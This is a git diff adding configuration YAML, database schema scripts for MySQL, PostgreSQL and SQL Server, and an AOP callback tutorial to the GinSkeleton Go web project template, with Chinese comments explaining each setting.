+ TrustProxies: #设置gin可以信任的代理服务器(例如 nginx 前置代理服务器),详情参见文档:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/vmobe7 + IsOpen: 0 # 可选值(0 或者 1),如果 go 服务是被 nginx 代理,建议该值设置为 1,将 nginx 代理及机器的ip添加到 ProxyServerList 列表 + ProxyServerList: + - "192.168.10.1" # nginx 代理服务器ip地址 + - "192.168.10.2" + +Token: + JwtTokenSignKey: "goskeleton" #设置token生成时加密的签名 + JwtTokenOnlineUsers: 10 #一个账号密码允许最大获取几个有效的token,当超过这个值,第一次获取的token的账号、密码就会失效 + JwtTokenCreatedExpireAt: 28800 #创建时token默认有效秒数(token生成时间加上该时间秒数,算做有效期),3600*8=28800 等于8小时 + JwtTokenRefreshAllowSec: 86400 #对于过期的token,允许在多少小时之内刷新,超过此时间则不允许刷新换取新token,86400=3600*24,即token过期24小时之内允许换新token + JwtTokenRefreshExpireAt: 36000 #对于过期的token,支持从相关接口刷新获取新的token,它有效期为10个小时,3600*10=36000 等于10小时 + BindContextKeyName: "userToken" #用户在 header 头部提交的token绑定到上下文时的键名,方便直接从上下文(gin.context)直接获取每个用户的id等信息 + IsCacheToRedis: 0 #用户token是否缓存到redis, 如果已经正确配置了redis,建议设置为1, 开启redis缓存token,(1=用户token缓存到redis; 0=token只存在于mysql) + +Redis: + Host: "127.0.0.1" + Port: 6379 + Auth: "" + MaxIdle: 10 + MaxActive: 1000 + IdleTimeout: 60 + IndexDb: 1 # 注意 redis 默认连接的是 1 号数据库,不是 0号数据库 + ConnFailRetryTimes: 3 #从连接池获取连接失败,最大重试次数 + ReConnectInterval: 1 # 从连接池获取连接失败,每次重试之间间隔的秒数 + +Logs: + GinLogName: "/storage/logs/gin.log" #设置 gin 框架的接口访问日志 + GoSkeletonLogName: "/storage/logs/goskeleton.log" #设置GoSkeleton项目骨架运行时日志文件名,注意该名称不要与上一条重复 ,避免和 gin 框架的日志掺杂一起,造成混乱。 + TextFormat: "json" #记录日志的格式,参数选项:console、json , console 表示一般的文本格式 + TimePrecision: "millisecond" #记录日志时,相关的时间精度,该参数选项:second 、 millisecond , 分别表示 秒 和 毫秒 ,默认为毫秒级别 + MaxSize: 10 #每个日志的最大尺寸(以MB为单位), 超过该值,系统将会自动进行切割 + MaxBackups: 7 #保留旧日志最大个数 + MaxAge: 15 #保留旧日志最大天数 + Compress: false #日志备份时,是否进行压缩 + +Websocket: #该服务与Http具有相同的ip、端口,因此不需要额外设置端口 + Start: 0 #默认不启动该服务(1=启动;0=不启动) + WriteReadBufferSize: 20480 # 读写缓冲区分配字节,大概能存储 6800 多一点的文字 + MaxMessageSize: 65535 # 从消息管道读取消息的最大字节 + PingPeriod: 20 #心跳包频率,单位:秒 + HeartbeatFailMaxTimes: 4 # 允许心跳失败的最大次数(默认设置为PingPeriod=30秒检测一次,连续4次没有心跳就会清除后端在线信息) + ReadDeadline: 100 # 客户端在线情况下,正常的业务消息间隔秒数必须小于该值,否则服务器将会主动断开,该值不能小于心跳频率*允许失败次数,单位:秒。 0 表示不设限制,即服务器不主动断开不发送任何消息的在线客户端,但会消耗服务器资源 + WriteDeadline: 35 # 消息单次写入超时时间,单位:秒 + +SnowFlake: + SnowFlakeMachineId: 2 #如果本项目同时部署在多台机器,并且需要同时使用该算法,请为每一台机器设置不同的ID,区间范围: [0,1023] + +FileUploadSetting: + Size: 32 #设置上传文件的最大值,单位:M,注意: 如果go前置nginx服务器,nginx 默认限制文件上传大小为 50 M ,用户上传文件限制还需要继续修改 nginx 配置 + UploadFileField: "file" #post上传文件时,表单的键名 + UploadFileSavePath: "/storage/app/uploaded/" #上传文件保存在路径, 该路径与 BasePath 进行拼接使用 + UploadFileReturnPath: "/public/storage/uploaded/" # 文件上后返回的路径,由于程序会自动创建软连接,自动将资源定位到实际路径,所有资源的访问入口建议都从public开始 + AllowMimeType: #允许的文件mime类型列表 + - "image/jpeg" #jpg、jpeg图片格式 + - "image/png" #png图片格式 + - "image/x-icon" #ico图片 + - "image/bmp" #bmp图片 + - "application/zip" #xlsx、docx、zip + - "application/x-gzip" #tar.gz + - "text/plain; charset=utf-8" #txt log json等文本文件 + - "video/mp4" #视频文件,例如:mp4 + - "audio/mpeg" #音频文件,例如: mp3 + +# casbin 权限控制api接口 +Casbin: + # Casbin打开以后注意事项:Mysql/MariDb 低版本数据库如果数据库表的引擎默认是 Myisam, + # 程序会报错:Specified key was too long; max key length is 1000 bytes + # 请手动复制 database/db_demo_mysql.sql 中创建 tb_auth_casbin_rule 的代码自行创建InnoDb引擎的表,重新启动本项目即可 + IsInit: 0 # 是否随项目启动同步初始化:1=是;0=否, 开启 Casbin 前请确保数据库连接配置正确 + AutoLoadPolicySeconds: 5 # 扫描数据库策略的频率(单位:秒) + TablePrefix: "tb" # mysql、sqlserver 前缀为 tb ;postgres 数据库前缀请设置为 web.tb,其中 web 是本项目创建的的模式 + TableName: "auth_casbin_rule" # 程序最终创建的表为: tb_auth_casbin_rule (即在前缀和名称之间自动添加了下划线 _ ) + ModelConfig: | # 竖线 | 表示以下整段文本保持换行格式 + [request_definition] + r = sub, obj, act + [policy_definition] + p = sub, obj, act + [role_definition] + g = _ , _ + [policy_effect] + e = some(where (p.eft == allow)) + [matchers] + m = (g(r.sub, p.sub) || p.sub == "*" ) && keyMatch(r.obj , p.obj) && (r.act == p.act || p.act == "*") + +RabbitMq: + HelloWorld: + #消息服务器地址、账号、密码, / (斜杠)表示默认的虚拟主机,如果是开发者自己创建的,直接追加在 / (斜杠)后面即可,例如:amqp://账号:密码@ip地址:5672/ginskeleton + Addr: "amqp://账号:密码@ip地址:5672/" + QueueName: "helloword_queue" + Durable: false #消息是否持久化 + ConsumerChanNumber: 2 #消费者通道数量(允许一个消费者使用几个连接通道消费、处理消息) + OffLineReconnectIntervalSec: 5 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + WorkQueue: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + QueueName: "work_queue" + Durable: false #消息是否持久化 + ConsumerChanNumber: 2 #消费者通道数量(允许一个消费者使用几个连接通道消费、处理消息) + OffLineReconnectIntervalSec: 5 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + PublishSubscribe: + Addr: "amqp://账号:密码@ip地址:5672/" #消息服务器地址、账号、密码 + ExchangeType: "fanout" + ExchangeName: "fanout_exchange" #即时消息队列名称, + DelayedExchangeName: "delayed_fanout_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" #队列名称,为空 表示所有订阅的消费者(consumer)都可以接受到同样的消息,如果设置名称,会导致只有最后一个启动的消费者能接受到消息。 + ConsumerChanNumber: 1 #消费者通道数量(发布、订阅模式消费者使用一个通道,避免多个通道重复收到数据) + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + Routing: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + ExchangeType: "direct" + ExchangeName: "direct_exchange" + DelayedExchangeName: "delayed_direct_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + Topics: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + ExchangeType: "topic" + ExchangeName: "topic_exchange" + DelayedExchangeName: "delayed_topic_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + +#验证码(包括中间件)配置信息 +Captcha: + captchaId: "captcha_id" # 验证码id提交时的键名 + captchaValue: "captcha_value" #验证码值提交时的键名 + length: 4 # 验证码生成时的长度 + diff --git a/GinSkeleton/config/gorm_v2.yml b/GinSkeleton/config/gorm_v2.yml new file mode 100644 index 0000000..9ed4228 --- /dev/null +++ b/GinSkeleton/config/gorm_v2.yml @@ -0,0 +1,87 @@ +Gormv2: # 只针对 gorm 操作数据库有效 + UseDbType: "mysql" # 备选项 mysql 、sqlserver、 postgresql + SqlDebug: false # 请根据个人习惯设置,true 表示执行的sql全部会输出在终端(一般来说开发环境可能会方便调试) , false 表示默认不会在终端输出sql(生产环境建议设置为 false), + Mysql: + IsInitGlobalGormMysql: 0 # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + SlowThreshold: 30 # 慢 SQL 阈值(sql执行时间超过此时间单位(秒),就会触发系统日志记录) + Write: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 3306 + Prefix: "tb_" # 目前没有用到该配置项 + User: "root" + Pass: "DRsXT5ZJ6Oi55LPQ" + Charset: "utf8" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 # 连接不活动时的最大生存时间(秒) + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 3308 #注意,非3306,请自行调整 + Prefix: "tb_" + User: "root" + Pass: "yourPassword" + Charset: "utf8" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + # 如果要使用sqlserver数据库,请在 app/model 目录,将 users_for_sqlserver.txt 的内容直接覆盖同目录的 users.go 即可 + SqlServer: + # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + # 此外,开启 sqlserver 数据库时,请在 app/model/users_for_sqlserver.txt 文件中,按照说明手动替换一下代码 + IsInitGlobalGormSqlserver: 0 + SlowThreshold: 30 + Write: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 1433 + Prefix: "tb_" + User: "Sa" + Pass: "secret2017" + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 1433 + Prefix: "tb_" + User: "Sa" + Pass: "secret2017" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + # 如果要使用postgresql数据库,请在 app/model 目录,将 users_for_postgres.txt 的内容直接覆盖同目录的 users.go 即可 + PostgreSql: + IsInitGlobalGormPostgreSql: 0 # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + SlowThreshold: 30 + Write: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 5432 + Prefix: "tb_" + User: "postgres" + Pass: "Secret2017~" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 5432 + Prefix: "tb_" + User: "postgres" + Pass: "secret2017" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 diff --git a/GinSkeleton/database/db_demo_mysql.sql b/GinSkeleton/database/db_demo_mysql.sql new file mode 100644 index 0000000..b10cdef --- /dev/null +++ b/GinSkeleton/database/db_demo_mysql.sql @@ -0,0 +1,60 @@ + +CREATE DATABASE /*!32312 IF NOT EXISTS*/`db_goskeleton` /*!40100 DEFAULT CHARACTER SET utf8 */; + +USE `db_goskeleton`; + +/*Table structure for table `tb_users` */ + +DROP TABLE IF EXISTS `tb_users`; + +CREATE TABLE `tb_users` ( + `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, + `user_name` VARCHAR(30) DEFAULT '' COMMENT '账号', + `pass` VARCHAR(128) DEFAULT '' COMMENT '密码', + `real_name` VARCHAR(30) DEFAULT '' COMMENT '姓名', + `phone` CHAR(11) DEFAULT '' COMMENT '手机', + `status` TINYINT(4) DEFAULT 1 COMMENT '状态', + `remark` VARCHAR(255) DEFAULT '' COMMENT '备注', + `last_login_time` DATETIME DEFAULT CURRENT_TIMESTAMP, + `last_login_ip` CHAR(30) DEFAULT '' COMMENT '最近一次登录ip', + `login_times` INT(11) DEFAULT 0 COMMENT '累计登录次数', + `created_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + `updated_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (`id`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; + +/* oauth 表,主要控制一个用户可以同时拥有几个有效的token,通俗地说就是允许一个账号同时有几个人登录,超过将会导致最前面的人的token失效,而退出登录*/ +DROP TABLE IF EXISTS `tb_oauth_access_tokens`; + +CREATE TABLE `tb_oauth_access_tokens` ( + `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, + `fr_user_id` INT(11) DEFAULT 0 COMMENT '外键:tb_users表id', + `client_id` INT(10) UNSIGNED DEFAULT 1 COMMENT '普通用户的授权,默认为1', + `token` VARCHAR(500) DEFAULT NULL, + `action_name` VARCHAR(128) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT '' COMMENT 'login|refresh|reset表示token生成动作', + `scopes` VARCHAR(128) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT '[*]' COMMENT '暂时预留,未启用', + `revoked` TINYINT(1) DEFAULT 0 COMMENT '是否撤销', + `client_ip` VARCHAR(128) DEFAULT NULL COMMENT 'ipv6最长为128位', + `created_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + `updated_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + `expires_at` DATETIME DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `oauth_access_tokens_user_id_index` (`fr_user_id`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; + +/* 创建基于casbin控制接口访问的权限表*/ +DROP TABLE IF EXISTS `tb_auth_casbin_rule`; +CREATE TABLE `tb_auth_casbin_rule` ( +`id` int(10) unsigned NOT NULL AUTO_INCREMENT, +`ptype` varchar(100) DEFAULT 'p', +`v0` varchar(100) DEFAULT '', +`v1` varchar(100) DEFAULT '', +`v2` varchar(100) DEFAULT '*', +`v3` varchar(100) DEFAULT '', +`v4` varchar(100) DEFAULT '', +`v5` varchar(100) DEFAULT '', +PRIMARY KEY (`id`), +UNIQUE KEY `unique_index` (`ptype`,`v0`,`v1`,`v2`,`v3`,`v4`,`v5`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 + + diff --git a/GinSkeleton/database/db_demo_postgre.sql b/GinSkeleton/database/db_demo_postgre.sql new file mode 100644 index 0000000..8dc45a8 --- /dev/null +++ b/GinSkeleton/database/db_demo_postgre.sql @@ -0,0 +1,297 @@ +-- +-- PostgreSQL database dump +-- + +-- Dumped from database version 10.17 +-- Dumped by pg_dump version 10.17 + +-- Started on 2021-08-04 12:22:01 + +SET statement_timeout = 0; +SET lock_timeout = 0; +SET idle_in_transaction_session_timeout = 0; +SET client_encoding = 'UTF8'; +SET standard_conforming_strings = on; +SELECT pg_catalog.set_config('search_path', '', false); +SET check_function_bodies = false; +SET xmloption = content; +SET client_min_messages = warning; +SET row_security = off; + +-- +-- TOC entry 5 (class 2615 OID 16570) +-- Name: web; Type: SCHEMA; Schema: -; Owner: postgres +-- + +CREATE SCHEMA web; + + +ALTER SCHEMA web OWNER TO postgres; + +SET default_tablespace = ''; + +SET default_with_oids = false; + +-- +-- TOC entry 200 (class 1259 OID 16609) +-- Name: tb_auth_casbin_rule; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_auth_casbin_rule ( + id integer NOT NULL, + ptype character varying(100) DEFAULT 'p'::character varying NOT NULL, + p0 character varying(100) DEFAULT ''::character varying NOT NULL, + p1 character varying(100) DEFAULT ''::character varying NOT NULL, + p2 character varying(100) DEFAULT ''::character varying NOT NULL, + p3 character varying(100) DEFAULT ''::character varying NOT NULL, + p4 character varying(100) DEFAULT ''::character varying NOT NULL, + p5 character varying(100) DEFAULT ''::character varying NOT NULL, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + v0 character varying(100), + v1 character varying(100), + v2 character varying(100), + v3 character varying(100), + v4 character varying(100), + v5 character varying(100) +); + + +ALTER TABLE web.tb_auth_casbin_rule OWNER TO postgres; + +-- +-- TOC entry 199 (class 1259 OID 16607) +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_auth_casbin_rule_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_auth_casbin_rule_id_seq OWNER TO postgres; + +-- +-- TOC entry 2856 (class 0 OID 0) +-- Dependencies: 199 +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_auth_casbin_rule_id_seq OWNED BY web.tb_auth_casbin_rule.id; + + +-- +-- TOC entry 202 (class 1259 OID 16629) +-- Name: tb_oauth_access_tokens; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_oauth_access_tokens ( + id integer NOT NULL, + fr_user_id integer DEFAULT 0, + client_id integer DEFAULT 1, + token character varying(500) DEFAULT ''::character varying NOT NULL, + action_name character varying(100) DEFAULT ''::character varying NOT NULL, + scopes character varying(100) DEFAULT '*'::character varying NOT NULL, + revoked smallint DEFAULT 0 NOT NULL, + client_ip character varying(20) DEFAULT ''::character varying, + expires_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP +); + + +ALTER TABLE web.tb_oauth_access_tokens OWNER TO postgres; + +-- +-- TOC entry 201 (class 1259 OID 16627) +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_oauth_access_tokens_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_oauth_access_tokens_id_seq OWNER TO postgres; + +-- +-- TOC entry 2857 (class 0 OID 0) +-- Dependencies: 201 +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_oauth_access_tokens_id_seq OWNED BY web.tb_oauth_access_tokens.id; + + +-- +-- TOC entry 198 (class 1259 OID 16591) +-- Name: tb_users; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_users ( + id integer NOT NULL, + user_name character varying(30) DEFAULT ''::character varying NOT NULL, + pass character varying(128) DEFAULT ''::character varying NOT NULL, + real_name character varying(30) DEFAULT ''::character varying, + phone character(11) DEFAULT ''::bpchar, + status smallint DEFAULT 1, + remark character varying(120) DEFAULT ''::character varying, + last_login_time timestamp without time zone, + last_login_ip character varying(20) DEFAULT ''::character varying, + login_times integer DEFAULT 0, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP +); + + +ALTER TABLE web.tb_users OWNER TO postgres; + +-- +-- TOC entry 197 (class 1259 OID 16589) +-- Name: tb_users_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_users_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_users_id_seq OWNER TO postgres; + +-- +-- TOC entry 2858 (class 0 OID 0) +-- Dependencies: 197 +-- Name: tb_users_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_users_id_seq OWNED BY web.tb_users.id; + + +-- +-- TOC entry 2696 (class 2604 OID 16612) +-- Name: tb_auth_casbin_rule id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_auth_casbin_rule ALTER COLUMN id SET DEFAULT nextval('web.tb_auth_casbin_rule_id_seq'::regclass); + + +-- +-- TOC entry 2708 (class 2604 OID 16632) +-- Name: tb_oauth_access_tokens id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('web.tb_oauth_access_tokens_id_seq'::regclass); + + +-- +-- TOC entry 2685 (class 2604 OID 16594) +-- Name: tb_users id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_users ALTER COLUMN id SET DEFAULT nextval('web.tb_users_id_seq'::regclass); + + +-- +-- TOC entry 2848 (class 0 OID 16609) +-- Dependencies: 200 +-- Data for Name: tb_auth_casbin_rule; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2850 (class 0 OID 16629) +-- Dependencies: 202 +-- Data for Name: tb_oauth_access_tokens; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2846 (class 0 OID 16591) +-- Dependencies: 198 +-- Data for Name: tb_users; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2859 (class 0 OID 0) +-- Dependencies: 199 +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_auth_casbin_rule_id_seq', 1, false); + + +-- +-- TOC entry 2860 (class 0 OID 0) +-- Dependencies: 201 +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_oauth_access_tokens_id_seq', 2, true); + + +-- +-- TOC entry 2861 (class 0 OID 0) +-- Dependencies: 197 +-- Name: tb_users_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_users_id_seq', 8, true); + + +-- +-- TOC entry 2721 (class 2606 OID 16626) +-- Name: tb_auth_casbin_rule tb_auth_casbin_rule_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_auth_casbin_rule + ADD CONSTRAINT tb_auth_casbin_rule_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2723 (class 2606 OID 16647) +-- Name: tb_oauth_access_tokens tb_oauth_access_tokens_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_oauth_access_tokens + ADD CONSTRAINT tb_oauth_access_tokens_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2718 (class 2606 OID 16606) +-- Name: tb_users tb_users_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_users + ADD CONSTRAINT tb_users_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2719 (class 1259 OID 16662) +-- Name: idx_web_tb_auth_casbin_rule; Type: INDEX; Schema: web; Owner: postgres +-- + +CREATE UNIQUE INDEX idx_web_tb_auth_casbin_rule ON web.tb_auth_casbin_rule USING btree (ptype, v0, v1, v2, v3, v4, v5); + + +-- Completed on 2021-08-04 12:22:02 + +-- +-- PostgreSQL database dump complete +-- + diff --git a/GinSkeleton/database/db_demo_sqlserver.sql b/GinSkeleton/database/db_demo_sqlserver.sql new file mode 100644 index 0000000..d39d330 --- /dev/null +++ b/GinSkeleton/database/db_demo_sqlserver.sql @@ -0,0 +1,52 @@ +-- 创建数据库,例如: db_goskeleton +USE [master] +IF NOT EXISTS(SELECT 1 FROM sysdatabases WHERE NAME=N'db_goskeleton') +BEGIN +CREATE DATABASE db_goskeleton +END +GO +use db_goskeleton ; +-- 创建用户表 +CREATE TABLE [dbo].[tb_users]( + [id] [int] IDENTITY(1,1) NOT NULL, + [user_name] [nvarchar](50) NOT NULL , + [pass] [varchar](128) NOT NULL , + [real_name] [nvarchar](30) DEFAULT (''), + [phone] [char](11) DEFAULT (''), + [status] [tinyint] DEFAULT (1), + [remark] [nvarchar](120) DEFAULT (''), + [last_login_time] [datetime] DEFAULT (getdate()), + [last_login_ip] [varchar](128) DEFAULT (''), + [login_times] [int] DEFAULT ((0)), + [created_at] [datetime] DEFAULT (getdate()), + [updated_at] [datetime] DEFAULT (getdate()) + ); +-- -- 创建token表 + +CREATE TABLE [dbo].[tb_oauth_access_tokens]( + [id] [int] IDENTITY(1,1) NOT NULL, + [fr_user_id] [int] DEFAULT ((0)), + [client_id] [int] DEFAULT ((0)), + [token] [varchar](500) DEFAULT (''), + [action_name] [varchar](50) DEFAULT ('login') , + [scopes] [varchar](128) DEFAULT ('*') , + [revoked] [tinyint] DEFAULT ((0)), + [client_ip] [varchar](128) DEFAULT (''), + [created_at] [datetime] DEFAULT (getdate()) , + [updated_at] [datetime] DEFAULT (getdate()) , + [expires_at] [datetime] DEFAULT (getdate()) , + [remark] [nchar](120) DEFAULT ('') + ) ; + +-- -- 创建 tb_casbin 接口鉴权表 +CREATE TABLE [dbo].[tb_auth_casbin_rule]( + [id] [int] IDENTITY(1,1) NOT NULL, + [ptype] [varchar](100) DEFAULT ('p'), + [v0] [varchar](100) DEFAULT (''), + [v1] [varchar](100) DEFAULT (''), + [v2] [varchar](100) DEFAULT (''), + [v3] [varchar](100) DEFAULT (''), + [v4] [varchar](100) DEFAULT (''), + [v5] [varchar](100) DEFAULT (''), + [remark] [nchar](120) DEFAULT ('') + ) ; \ No newline at end of file diff --git a/GinSkeleton/docs/aop.md b/GinSkeleton/docs/aop.md new file mode 100644 index 0000000..ad1c141 --- /dev/null +++ b/GinSkeleton/docs/aop.md @@ -0,0 +1,102 @@ +### 控制器 Aop 面向切面编程,优雅地模拟其他语言的动态代理方案。 +> 备注:真正的`Aop` 动态代理,在 `golang` 实现起来非常麻烦,尽管github有相关实现的包(https://github.com/bouk/monkey), 此包明确说明仅用于生产环境之外的测试环境,还有一部分使用非常复杂,因此本项目骨架没有引入第三方包。 +> 需求场景: +> 1.用户删除数据,需要前置和后置回调函数,但是又不想污染控制器核心代码,此时可以考虑使用Aop思想实现。 +> 2.我们以调用控制器函数 `Users/Destroy` 函数为例,进行演示。 + +#### 前置、后置回调最普通的实现方案 +> 此种方案,前置和后置代码比较多的时候,会造成控制器核心代码污染。 +```go + +func (u *Users) Destroy(context *gin.Context) { + + // before 删除之前回调代码... 例如:判断删除数据的用户是否具备相关权限等 + + userid := context.GetFloat64(consts.ValidatorPrefix + "id") + // 根据 userid 执行删除用户数据(最核心代码) + + // after 删除之后回调代码... 例如 将删除的用户数据备份到相关的历史表 + +} + +``` + +#### 使用 Aop 思想实现前置和后置回调需求 +> 1.编写删除数据之前(Before)的回调函数,[示例代码](../app/aop/users/destroy_before.go) + +```bash +package Users + +import ( + "goskeleton/app/global/consts" + "fmt" + "github.com/gin-gonic/gin" +) + +// 模拟Aop 实现对某个控制器函数的前置(Before)回调 + +type destroy_before struct{} + +// 前置函数必须具有返回值,这样才能控制流程是否继续向下执行 +func (d *destroy_before) Before(context *gin.Context) bool { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + fmt.Printf("模拟 Users 删除操作, Before 回调,用户ID:%.f\n", userId) + if userId > 10 { + return true + } else { + return false + } +} + +``` +> 2.编写删除数据之后(After)的回调,[示例代码](../app/aop/users/destroy_after.go) + +```bash + +package users + +import ( + "goskeleton/app/global/consts" + "fmt" + "github.com/gin-gonic/gin" +) + +// 模拟Aop 实现对某个控制器函数的后置(After)回调 + +type destroy_after struct{} + +func (d *destroy_after) After(context *gin.Context) { + // 后置函数可以使用异步执行 + go func() { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + fmt.Printf("模拟 Users 删除操作, After 回调,用户ID:%.f\n", userId) + }() +} + + +``` + +> 3.由于本项目骨架的控制器调用都是统一由验证器启动,因此在验证器调用控制器函数的地方,使用匿名函数,直接优雅地切入前置、后置回调代码,[示例代码](../app/http/validator/web/users/destroy.go) +```go + +//(&Web.Users{}).Destroy(extraAddBindDataContext) // 原始方法进行如下改造 + +// 使用匿名函数切入前置和后置回调函数 +func(before_callback_fn func(context *gin.Context) bool, after_callback_fn func(context *gin.Context)) { + + if before_callback_fn(extraAddBindDataContext) { + defer after_callback_fn(extraAddBindDataContext) + (&Web.Users{}).Destroy(extraAddBindDataContext) + } else { + // 这里编写前置函数验证不通过的相关返回提示逻辑... + + } +}((&Users.destroy_before{}).Before, (&Users.destroy_after{}).After) + +// 接口请求结果展示: +模拟 Users 删除操作, Before 回调,用户ID:16 